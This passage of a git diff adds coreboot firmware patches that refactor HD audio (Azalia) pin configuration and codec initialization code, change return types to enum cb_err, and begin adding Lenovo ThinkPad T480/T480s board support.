AZALIA_DIGITAL_OTHER_OUT, ++ AZALIA_OTHER_DIGITAL, ++ AZALIA_COLOR_UNKNOWN, ++ AZALIA_JACK_PRESENCE_DETECT, ++ 1, 0 ++ )), + /* Disable 2nd & 3rd pin widgets again */ + 0x20878100, + 0x20878100, +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch b/patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch new file mode 100644 index 000000000..3115e2b55 --- /dev/null +++ b/patches/coreboot-24.02.01/0007-include-device-azalia_device.h-Merge-location1-and-l.patch @@ -0,0 +1,194 @@ +From 907aa8bfc5d1e87a5c269c34888aecdf4af3d6aa Mon Sep 17 00:00:00 2001 +From: Nicholas Sudsgaard +Date: Sun, 25 Feb 2024 09:32:33 +0900 +Subject: [PATCH 07/11] include/device/azalia_device.h: Merge location1 and + location2 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +This changes the location to be expressed as a combination of ORs. This +allows aliases for special locations. + +For example, `AZALIA_REAR_PANEL` is easier to read than +`AZALIA_EXTERNAL_PRIMARY_CHASSIS, AZALIA_SPECIAL7`. + +References: + - Intel High Definition Audio Specification, rev. 1.0a, page 180, + Table 110. Location. + +Change-Id: I5a61a37ed70027700f07f1532c500f04d7a16ce1 +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80740 +Tested-by: build bot (Jenkins) +Reviewed-by: Michael Niewöhner +Reviewed-by: Nico Huber +Reviewed-by: Felix Singer +--- + src/include/device/azalia_device.h | 36 +++++++++++-------- + .../clevo/tgl-u/variants/l140mu/hda_verb.c | 17 ++++----- + .../siemens/chili/variants/chili/hda_verb.c | 10 ++---- + 3 files changed, 32 insertions(+), 31 deletions(-) + +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 4d9298cf95..1fc0baf49b 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -50,10 +50,10 @@ enum azalia_pin_connection { + }; + + enum azalia_pin_location_gross { +- AZALIA_EXTERNAL_PRIMARY_CHASSIS = 0x0, +- AZALIA_INTERNAL = 0x1, +- AZALIA_SEPARATE_CHASSIS = 0x2, +- AZALIA_LOCATION_OTHER = 0x3, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS = 0x00, ++ AZALIA_INTERNAL = 0x10, ++ AZALIA_SEPARATE_CHASSIS = 0x20, ++ AZALIA_LOCATION_OTHER = 0x30, + }; + + enum azalia_pin_location_geometric { +@@ -69,6 +69,16 @@ enum azalia_pin_location_geometric { + AZALIA_SPECIAL9 = 0x9, + }; + ++enum azalia_pin_location_special { ++ AZALIA_REAR_PANEL = AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_SPECIAL7, ++ AZALIA_DRIVE_BAY = AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_SPECIAL8, ++ AZALIA_RISER = AZALIA_INTERNAL | AZALIA_SPECIAL7, ++ AZALIA_DIGITAL_DISPLAY = AZALIA_INTERNAL | AZALIA_SPECIAL8, ++ AZALIA_ATAPI = AZALIA_INTERNAL | AZALIA_SPECIAL9, ++ AZALIA_MOBILE_LID_INSIDE = AZALIA_LOCATION_OTHER | AZALIA_SPECIAL7, ++ AZALIA_MOBILE_LID_OUTSIDE = AZALIA_LOCATION_OTHER | AZALIA_SPECIAL8, ++}; ++ + enum azalia_pin_device { + AZALIA_LINE_OUT = 0x0, + AZALIA_SPEAKER = 0x1, +@@ -123,16 +133,14 @@ enum azalia_pin_misc { + AZALIA_NO_JACK_PRESENCE_DETECT = 0x1, + }; + +-#define AZALIA_PIN_DESC(conn, location2, location1, dev, type, color, misc, \ +- association, sequence) \ +- ((((conn) << 30) & 0xc0000000) | \ +- (((location2) << 28) & 0x30000000) | \ +- (((location1) << 24) & 0x0f000000) | \ +- (((dev) << 20) & 0x00f00000) | \ +- (((type) << 16) & 0x000f0000) | \ +- (((color) << 12) & 0x0000f000) | \ +- (((misc) << 8) & 0x00000f00) | \ +- (((association) << 4) & 0x000000f0) | \ ++#define AZALIA_PIN_DESC(conn, location, dev, type, color, misc, association, sequence) \ ++ ((((conn) << 30) & 0xc0000000) | \ ++ (((location) << 24) & 0x3f000000) | \ ++ (((dev) << 20) & 0x00f00000) | \ ++ (((type) << 16) & 0x000f0000) | \ ++ (((color) << 12) & 0x0000f000) | \ ++ (((misc) << 8) & 0x00000f00) | \ ++ (((association) << 4) & 0x000000f0) | \ + (((sequence) << 0) & 0x0000000f)) + + #define AZALIA_ARRAY_SIZES const u32 pc_beep_verbs_size = \ +diff --git a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +index 2e1a5799d7..db9da04235 100644 +--- a/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c ++++ b/src/mainboard/clevo/tgl-u/variants/l140mu/hda_verb.c +@@ -13,8 +13,7 @@ const u32 cim_verb_data[] = { + /* Microphone (display lid), vendor value: 0x90a60130 */ + AZALIA_PIN_CFG(0, 0x12, AZALIA_PIN_DESC( + AZALIA_INTEGRATED, +- AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ +- AZALIA_SPECIAL7, /* lid, vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_MOBILE_LID_INSIDE, /* vendor: AZALIA_SEPARATE_CHASSIS */ + AZALIA_MIC_IN, + AZALIA_OTHER_DIGITAL, + AZALIA_COLOR_UNKNOWN, +@@ -25,8 +24,7 @@ const u32 cim_verb_data[] = { + /* Integrated speakers, vendor value: 0x90170110 */ + AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( + AZALIA_INTEGRATED, +- AZALIA_LOCATION_OTHER, /* vendor: AZALIA_SEPARATE_CHASSIS */ +- AZALIA_BOTTOM, /* vendor: AZALIA_GEOLOCATION_NA*/ ++ AZALIA_LOCATION_OTHER | AZALIA_BOTTOM, /* vendor: AZALIA_SEPARATE_CHASSIS */ + AZALIA_SPEAKER, + AZALIA_OTHER_ANALOG, + AZALIA_COLOR_UNKNOWN, +@@ -37,8 +35,8 @@ const u32 cim_verb_data[] = { + /* Headphones, vendor value: 0x02211020 */ + AZALIA_PIN_CFG(0, 0x15, AZALIA_PIN_DESC( + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_RIGHT, /* vendor: AZALIA_FRONT */ ++ /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_FRONT */ ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, + AZALIA_HP_OUT, + AZALIA_STEREO_MONO_1_8, + AZALIA_BLACK, +@@ -49,8 +47,8 @@ const u32 cim_verb_data[] = { + /* ext. Microphone, vendor value: 0x411111f0, linux override: 0x01a1913c */ + AZALIA_PIN_CFG(0, 0x1a, AZALIA_PIN_DESC( + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_RIGHT, /* vendor: AZALIA_REAR */ ++ /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_REAR */ ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_RIGHT, + AZALIA_MIC_IN, + AZALIA_STEREO_MONO_1_8, + AZALIA_BLACK, /* vendor: AZALIA_PINK */ +@@ -61,8 +59,7 @@ const u32 cim_verb_data[] = { + /* PCBEEP, vendor value: 0x41748245 */ + AZALIA_PIN_CFG(0, 0x1d, AZALIA_PIN_DESC( + AZALIA_INTEGRATED, /* vendor: AZALIA_NC */ +- AZALIA_INTERNAL, /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS */ +- AZALIA_GEOLOCATION_NA, /* vendor: AZALIA_REAR */ ++ AZALIA_INTERNAL, /* vendor: AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_REAR */ + AZALIA_DEVICE_OTHER, /* vendor: AZALIA_MODEM_HANDSET_SIDE */ + AZALIA_OTHER_ANALOG, /* vendor: AZALIA_RCA */ + AZALIA_COLOR_UNKNOWN, /* vendor: AZALIA_PURPLE */ +diff --git a/src/mainboard/siemens/chili/variants/chili/hda_verb.c b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +index 7fdb884465..b9748612a5 100644 +--- a/src/mainboard/siemens/chili/variants/chili/hda_verb.c ++++ b/src/mainboard/siemens/chili/variants/chili/hda_verb.c +@@ -17,7 +17,6 @@ const u32 cim_verb_data[] = { + AZALIA_PIN_CFG(0, 0x14, AZALIA_PIN_DESC( /* 0x14 Speaker OUT */ + AZALIA_INTEGRATED, + AZALIA_INTERNAL, +- AZALIA_GEOLOCATION_NA, + AZALIA_SPEAKER, + AZALIA_OTHER_ANALOG, + AZALIA_COLOR_UNKNOWN, +@@ -26,8 +25,7 @@ const u32 cim_verb_data[] = { + )), + AZALIA_PIN_CFG(0, 0x21, AZALIA_PIN_DESC( /* 0x21 Headphone OUT */ + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_FRONT, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_FRONT, + AZALIA_HP_OUT, + AZALIA_COMBINATION, + AZALIA_BLACK, +@@ -36,8 +34,7 @@ const u32 cim_verb_data[] = { + )), + AZALIA_PIN_CFG(0, 0x19, AZALIA_PIN_DESC( /* 0x19 MIC2 */ + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_FRONT, ++ AZALIA_EXTERNAL_PRIMARY_CHASSIS | AZALIA_FRONT, + AZALIA_MIC_IN, + AZALIA_COMBINATION, + AZALIA_BLACK, +@@ -67,8 +64,7 @@ const u32 cim_verb_data[] = { + AZALIA_PIN_CFG(2, 0x06, AZALIA_PIN_CFG_NC(1)), + AZALIA_PIN_CFG(2, 0x07, AZALIA_PIN_DESC( + AZALIA_JACK, +- AZALIA_EXTERNAL_PRIMARY_CHASSIS, +- AZALIA_SPECIAL7, ++ AZALIA_REAR_PANEL, + AZALIA_DIGITAL_OTHER_OUT, + AZALIA_OTHER_DIGITAL, + AZALIA_COLOR_UNKNOWN, +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch b/patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch new file mode 100644 index 000000000..b36b8a648 --- /dev/null +++ b/patches/coreboot-24.02.01/0008-device-azalia-Separate-codec-checking-and-initializa.patch @@ -0,0 +1,173 @@ +From 14b83c4c0500db7860f87fa5580accc12fef1110 Mon Sep 17 00:00:00 2001 +From: Nicholas Sudsgaard +Date: Fri, 2 Feb 2024 18:21:34 +0900 +Subject: [PATCH 08/11] device/azalia: Separate codec checking and + initialization + +This also changes how debug messages will be printed. I focused on +reducing clutter on the screen and made the style of the messages +consistent. + +Before: +azalia_audio: Initializing codec #5 + codec not ready. +azalia_audio: Initializing codec #4 + codec not valid. +azalia_audio: Initializing codec #3 +azalia_audio: viddid: ffffffff +azalia_audio: verb_size: 4 +azalia_audio: verb loaded. + +After: +azalia_audio: codec #5 not ready +azalia_audio: codec #4 not valid +azalia_audio: initializing codec #3... +azalia_audio: - vendor/device id: 0xffffffff +azalia_audio: - verb size: 4 +azalia_audio: - verb loaded + +Change-Id: I92b6d184abccdbe0e1bfce98a2c959a97a618a29 +Signed-off-by: Nicholas Sudsgaard +Reviewed-on: https://review.coreboot.org/c/coreboot/+/80332 +Reviewed-by: Nico Huber +Reviewed-by: Felix Singer +Tested-by: build bot (Jenkins) +--- + src/device/azalia_device.c | 67 ++++++++++++++++-------------- + src/include/device/azalia_device.h | 2 + + 2 files changed, 37 insertions(+), 32 deletions(-) + +diff --git a/src/device/azalia_device.c b/src/device/azalia_device.c +index 4ac585dac1..8051f2e7ee 100644 +--- a/src/device/azalia_device.c ++++ b/src/device/azalia_device.c +@@ -7,6 +7,7 @@ + #include + #include + #include ++#include + + int azalia_set_bits(void *port, u32 mask, u32 val) + { +@@ -97,7 +98,7 @@ no_codec: + /* Codec Not found */ + /* Put HDA back in reset (BAR + 0x8) [0] */ + azalia_set_bits(base + HDA_GCTL_REG, 1, 0); +- printk(BIOS_DEBUG, "azalia_audio: No codec!\n"); ++ printk(BIOS_DEBUG, "azalia_audio: no codec!\n"); + return 0; + } + +@@ -226,55 +227,57 @@ __weak void mainboard_azalia_program_runtime_verbs(u8 *base, u32 viddid) + { + } + +-void azalia_codec_init(u8 *base, int addr, const u32 *verb_table, u32 verb_table_bytes) ++static bool codec_is_operative(u8 *base, const int addr) + { +- u32 reg32; +- const u32 *verb; +- u32 verb_size; +- +- printk(BIOS_DEBUG, "azalia_audio: Initializing codec #%d\n", addr); +- +- /* 1 */ + if (wait_for_ready(base) < 0) { +- printk(BIOS_DEBUG, " codec not ready.\n"); +- return; ++ printk(BIOS_DEBUG, "azalia_audio: codec #%d not ready\n", addr); ++ return false; + } + +- reg32 = (addr << 28) | 0x000f0000; ++ const u32 reg32 = (addr << 28) | 0x000f0000; + write32(base + HDA_IC_REG, reg32); + + if (wait_for_valid(base) < 0) { +- printk(BIOS_DEBUG, " codec not valid.\n"); +- return; ++ printk(BIOS_DEBUG, "azalia_audio: codec #%d not valid\n", addr); ++ return false; + } ++ return true; ++} + +- /* 2 */ +- reg32 = read32(base + HDA_IR_REG); +- printk(BIOS_DEBUG, "azalia_audio: codec viddid: %08x\n", reg32); +- verb_size = azalia_find_verb(verb_table, verb_table_bytes, reg32, &verb); ++void azalia_codec_init(u8 *base, int addr, const u32 *verb_table, u32 verb_table_bytes) ++{ ++ const u32 viddid = read32(base + HDA_IR_REG); ++ const u32 *verb; ++ u32 verb_size; ++ ++ printk(BIOS_DEBUG, "azalia_audio: initializing codec #%d...\n", addr); ++ printk(BIOS_DEBUG, "azalia_audio: - vendor/device id: 0x%08x\n", viddid); ++ ++ verb_size = azalia_find_verb(verb_table, verb_table_bytes, viddid, &verb); + +- if (!verb_size) { +- printk(BIOS_DEBUG, "azalia_audio: No verb!\n"); ++ if (verb_size == 0) { ++ printk(BIOS_DEBUG, "azalia_audio: - no verb!\n"); + return; + } +- printk(BIOS_DEBUG, "azalia_audio: verb_size: %u\n", verb_size); ++ printk(BIOS_DEBUG, "azalia_audio: - verb size: %u\n", verb_size); + +- /* 3 */ +- const int rc = azalia_program_verb_table(base, verb, verb_size); +- if (rc < 0) +- printk(BIOS_DEBUG, "azalia_audio: verb not loaded.\n"); ++ if (azalia_program_verb_table(base, verb, verb_size) < 0) ++ printk(BIOS_DEBUG, "azalia_audio: - verb not loaded\n"); + else +- printk(BIOS_DEBUG, "azalia_audio: verb loaded.\n"); ++ printk(BIOS_DEBUG, "azalia_audio: - verb loaded\n"); + +- mainboard_azalia_program_runtime_verbs(base, reg32); ++ mainboard_azalia_program_runtime_verbs(base, viddid); + } + +-void azalia_codecs_init(u8 *base, u16 codec_mask) ++static bool codec_can_init(const u16 codec_mask, u8 *base, const int addr) + { +- int i; ++ return codec_mask & (1 << addr) && codec_is_operative(base, addr); ++} + +- for (i = 14; i >= 0; i--) { +- if (codec_mask & (1 << i)) ++void azalia_codecs_init(u8 *base, u16 codec_mask) ++{ ++ for (int i = AZALIA_MAX_CODECS - 1; i >= 0; i--) { ++ if (codec_can_init(codec_mask, base, i)) + azalia_codec_init(base, i, cim_verb_data, cim_verb_data_size); + } + +@@ -298,7 +301,7 @@ void azalia_audio_init(struct device *dev) + codec_mask = codec_detect(base); + + if (codec_mask) { +- printk(BIOS_DEBUG, "azalia_audio: codec_mask = %02x\n", codec_mask); ++ printk(BIOS_DEBUG, "azalia_audio: codec_mask = 0x%02x\n", codec_mask); + azalia_codecs_init(base, codec_mask); + } + } +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 1fc0baf49b..59e7ea2af3 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -18,6 +18,8 @@ + #define HDA_ICII_BUSY (1 << 0) + #define HDA_ICII_VALID (1 << 1) + ++#define AZALIA_MAX_CODECS 15 ++ + int azalia_set_bits(void *port, u32 mask, u32 val); + int azalia_enter_reset(u8 *base); + int azalia_exit_reset(u8 *base); +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch b/patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch new file mode 100644 index 000000000..252c8b4a1 --- /dev/null +++ b/patches/coreboot-24.02.01/0009-azalia-Get-rid-of-return-1-0.patch @@ -0,0 +1,301 @@ +From 9ed9e8655dde4df0692ca04f550ae2abd81d2b40 Mon Sep 17 00:00:00 2001 +From: Elyes Haouas +Date: Wed, 17 Jul 2024 12:22:43 +0200 +Subject: [PATCH 09/11] azalia: Get rid of "return {-1,0} + +Use 'enum cb_err' instead of {-1,0}. + +Change-Id: Icea33ea3e6a5e3c7bbfedc29045026cd722ac23e +Signed-off-by: Elyes Haouas +Reviewed-on: https://review.coreboot.org/c/coreboot/+/83503 +Tested-by: build bot (Jenkins) +Reviewed-by: Martin L Roth +--- + src/device/azalia_device.c | 16 ++++++++-------- + src/include/device/azalia_device.h | 7 +++---- + src/soc/intel/common/hda_verb.c | 8 ++++---- + src/southbridge/intel/bd82x6x/azalia.c | 3 ++- + src/southbridge/intel/i82801gx/azalia.c | 7 ++++--- + src/southbridge/intel/i82801ix/azalia.c | 6 ++++-- + src/southbridge/intel/i82801jx/azalia.c | 6 ++++-- + src/southbridge/intel/ibexpeak/azalia.c | 4 +++- + src/southbridge/intel/lynxpoint/hda_verb.c | 7 ++++--- + 9 files changed, 36 insertions(+), 28 deletions(-) + +diff --git a/src/device/azalia_device.c b/src/device/azalia_device.c +index 8051f2e7ee..e709d9fe20 100644 +--- a/src/device/azalia_device.c ++++ b/src/device/azalia_device.c +@@ -9,7 +9,7 @@ + #include + #include + +-int azalia_set_bits(void *port, u32 mask, u32 val) ++static enum cb_err azalia_set_bits(void *port, u32 mask, u32 val) + { + struct stopwatch sw; + u32 reg32; +@@ -32,17 +32,17 @@ int azalia_set_bits(void *port, u32 mask, u32 val) + + /* Timeout occurred */ + if (stopwatch_expired(&sw)) +- return -1; +- return 0; ++ return CB_ERR; ++ return CB_SUCCESS; + } + +-int azalia_enter_reset(u8 *base) ++enum cb_err azalia_enter_reset(u8 *base) + { + /* Set bit 0 to 0 to enter reset state (BAR + 0x8)[0] */ + return azalia_set_bits(base + HDA_GCTL_REG, HDA_GCTL_CRST, 0); + } + +-int azalia_exit_reset(u8 *base) ++enum cb_err azalia_exit_reset(u8 *base) + { + /* Set bit 0 to 1 to exit reset state (BAR + 0x8)[0] */ + return azalia_set_bits(base + HDA_GCTL_REG, HDA_GCTL_CRST, HDA_GCTL_CRST); +@@ -53,7 +53,7 @@ static u16 codec_detect(u8 *base) + struct stopwatch sw; + u16 reg16; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + if (CONFIG(AZALIA_LOCK_DOWN_R_WO_GCAP)) { +@@ -80,10 +80,10 @@ static u16 codec_detect(u8 *base) + if (stopwatch_expired(&sw)) + goto no_codec; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0x0e)[14:0] */ +diff --git a/src/include/device/azalia_device.h b/src/include/device/azalia_device.h +index 59e7ea2af3..7fe6514ed2 100644 +--- a/src/include/device/azalia_device.h ++++ b/src/include/device/azalia_device.h +@@ -6,7 +6,7 @@ + #include + #include + #include +-#include ++#include + + #define HDA_GCAP_REG 0x00 + #define HDA_GCTL_REG 0x08 +@@ -20,9 +20,8 @@ + + #define AZALIA_MAX_CODECS 15 + +-int azalia_set_bits(void *port, u32 mask, u32 val); +-int azalia_enter_reset(u8 *base); +-int azalia_exit_reset(u8 *base); ++enum cb_err azalia_enter_reset(u8 *base); ++enum cb_err azalia_exit_reset(u8 *base); + u32 azalia_find_verb(const u32 *verb_table, u32 verb_table_bytes, u32 viddid, const u32 **verb); + int azalia_program_verb_table(u8 *base, const u32 *verbs, u32 verb_size); + void azalia_codec_init(u8 *base, int addr, const u32 *verb_table, u32 verb_table_bytes); +diff --git a/src/soc/intel/common/hda_verb.c b/src/soc/intel/common/hda_verb.c +index dceb03183e..67a8f24516 100644 +--- a/src/soc/intel/common/hda_verb.c ++++ b/src/soc/intel/common/hda_verb.c +@@ -4,7 +4,7 @@ + #include + #include + #include +-#include ++#include + + #include "hda_verb.h" + +@@ -13,7 +13,7 @@ int hda_codec_detect(u8 *base) + u8 reg8; + + /* Set Bit 0 to 1 to exit reset state (BAR + 0x8)[0] */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +@@ -26,11 +26,11 @@ int hda_codec_detect(u8 *base) + write8(base + HDA_STATESTS_REG, 0xf); + + /* Turn off the link and poll RESET# bit until it reads back as 0 */ +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Turn on the link and poll RESET# bit until it reads back as 1 */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/bd82x6x/azalia.c b/src/southbridge/intel/bd82x6x/azalia.c +index ddaa8a1bb0..4eeb3b5cf4 100644 +--- a/src/southbridge/intel/bd82x6x/azalia.c ++++ b/src/southbridge/intel/bd82x6x/azalia.c +@@ -8,6 +8,7 @@ + #include + #include + #include ++#include + + #include "chip.h" + #include "pch.h" +@@ -16,7 +17,7 @@ static int codec_detect(u8 *base) + { + u8 reg8; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +diff --git a/src/southbridge/intel/i82801gx/azalia.c b/src/southbridge/intel/i82801gx/azalia.c +index 31827e6de9..cef3dee191 100644 +--- a/src/southbridge/intel/i82801gx/azalia.c ++++ b/src/southbridge/intel/i82801gx/azalia.c +@@ -8,7 +8,8 @@ + #include + #include + #include +-#include ++#include ++ + #include "chip.h" + #include "i82801gx.h" + +@@ -16,10 +17,10 @@ static int codec_detect(u8 *base) + { + u32 reg32; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/i82801ix/azalia.c b/src/southbridge/intel/i82801ix/azalia.c +index fdc951472e..228b188f89 100644 +--- a/src/southbridge/intel/i82801ix/azalia.c ++++ b/src/southbridge/intel/i82801ix/azalia.c +@@ -7,6 +7,8 @@ + #include + #include + #include ++#include ++ + #include "chip.h" + #include "i82801ix.h" + +@@ -14,10 +16,10 @@ static int codec_detect(u8 *base) + { + u32 reg32; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/i82801jx/azalia.c b/src/southbridge/intel/i82801jx/azalia.c +index fa0209ae78..6b840e7d50 100644 +--- a/src/southbridge/intel/i82801jx/azalia.c ++++ b/src/southbridge/intel/i82801jx/azalia.c +@@ -7,6 +7,8 @@ + #include + #include + #include ++#include ++ + #include "chip.h" + #include "i82801jx.h" + +@@ -14,10 +16,10 @@ static int codec_detect(u8 *base) + { + u32 reg32; + +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +diff --git a/src/southbridge/intel/ibexpeak/azalia.c b/src/southbridge/intel/ibexpeak/azalia.c +index ac950c46df..6196096a14 100644 +--- a/src/southbridge/intel/ibexpeak/azalia.c ++++ b/src/southbridge/intel/ibexpeak/azalia.c +@@ -8,13 +8,15 @@ + #include + #include + #include ++#include ++ + #include "pch.h" + + static int codec_detect(u8 *base) + { + u8 reg8; + +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +diff --git a/src/southbridge/intel/lynxpoint/hda_verb.c b/src/southbridge/intel/lynxpoint/hda_verb.c +index 7e9f4d2c48..e79b5d1b20 100644 +--- a/src/southbridge/intel/lynxpoint/hda_verb.c ++++ b/src/southbridge/intel/lynxpoint/hda_verb.c +@@ -3,6 +3,7 @@ + #include + #include + #include ++#include + + #include "hda_verb.h" + +@@ -11,7 +12,7 @@ int hda_codec_detect(u8 *base) + u8 reg8; + + /* Set Bit 0 to 1 to exit reset state (BAR + 0x8)[0] */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Write back the value once reset bit is set. */ +@@ -24,11 +25,11 @@ int hda_codec_detect(u8 *base) + write8(base + HDA_STATESTS_REG, 0xf); + + /* Turn off the link and poll RESET# bit until it reads back as 0 */ +- if (azalia_enter_reset(base) < 0) ++ if (azalia_enter_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Turn on the link and poll RESET# bit until it reads back as 1 */ +- if (azalia_exit_reset(base) < 0) ++ if (azalia_exit_reset(base) != CB_SUCCESS) + goto no_codec; + + /* Read in Codec location (BAR + 0xe)[2..0] */ +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch b/patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch new file mode 100644 index 000000000..b8ce60a31 --- /dev/null +++ b/patches/coreboot-24.02.01/0010-soc-intel-skylake-Enable-4E-4F-PNP-I-O-ports-in-boot.patch @@ -0,0 +1,30 @@ +From a8dd041e06aadb959dfe14ddeaf938bdd9700d3a Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Fri, 22 Nov 2024 21:26:48 +0000 +Subject: [PATCH 10/11] soc/intel/skylake: Enable 4E/4F PNP I/O ports in + bootblock + +Change-Id: I57c9d8a9513a268e2ca6a0abd1306cd038598173 +Signed-off-by: Mate Kukri +--- + src/soc/intel/skylake/bootblock/pch.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/src/soc/intel/skylake/bootblock/pch.c b/src/soc/intel/skylake/bootblock/pch.c +index cc2d384e2e..4b0bf310df 100644 +--- a/src/soc/intel/skylake/bootblock/pch.c ++++ b/src/soc/intel/skylake/bootblock/pch.c +@@ -99,8 +99,8 @@ static void soc_config_pwrmbase(void) + + void pch_early_iorange_init(void) + { +- uint16_t io_enables = LPC_IOE_SUPERIO_2E_2F | LPC_IOE_KBC_60_64 | +- LPC_IOE_EC_62_66; ++ uint16_t io_enables = LPC_IOE_EC_4E_4F | LPC_IOE_SUPERIO_2E_2F | ++ LPC_IOE_KBC_60_64 | LPC_IOE_EC_62_66; + + const config_t *config = config_of_soc(); + +-- +2.39.5 + diff --git a/patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch b/patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch new file mode 100644 index 000000000..9fe28dab9 --- /dev/null +++ b/patches/coreboot-24.02.01/0011-mb-lenovo-Add-ThinkPad-T480-and-ThinkPad-T480s.patch @@ -0,0 +1,2237 @@ +From 76fae5a1b0c7cf5412de1caf549a4019e4935a00 Mon Sep 17 00:00:00 2001 +From: Mate Kukri +Date: Tue, 31 Dec 2024 22:49:15 +0000 +Subject: [PATCH 11/11] mb/lenovo: Add ThinkPad T480 and ThinkPad T480s + +These machine have BootGuard fused and requires deguard to +boot coreboot. + +Known issues: +- Alpine Ridge Thunderbolt 3 controller does not work +- Some Fn+F{1-12} keys aren't handled correctly +- Nvidia dGPU is finicky + - Needs option ROM + - Power enable code is buggy + - Nouveau only works on linux 6.8-6.9 +- Headphone jack isn't detected as plugged in despite correct verbs + +Thanks to Leah Rowe for helping with the T480s. + +Signed-off-by: Mate Kukri +Change-Id: I19d421412c771c1f242f6ff39453f824fa866163 +--- + src/device/pci_rom.c | 4 +- + src/ec/lenovo/h8/acpi/ec.asl | 2 +- + src/ec/lenovo/h8/bluetooth.c | 6 +- + src/ec/lenovo/h8/wwan.c | 6 +- + src/mainboard/lenovo/sklkbl_thinkpad/Kconfig | 57 +++++ + .../lenovo/sklkbl_thinkpad/Kconfig.name | 7 + + .../lenovo/sklkbl_thinkpad/Makefile.mk | 73 +++++++ + .../lenovo/sklkbl_thinkpad/acpi/ec.asl | 12 ++ + .../lenovo/sklkbl_thinkpad/acpi/superio.asl | 3 + + .../lenovo/sklkbl_thinkpad/bootblock.c | 60 ++++++ + .../lenovo/sklkbl_thinkpad/devicetree.cb | 71 ++++++ + src/mainboard/lenovo/sklkbl_thinkpad/dsdt.asl | 33 +++ + 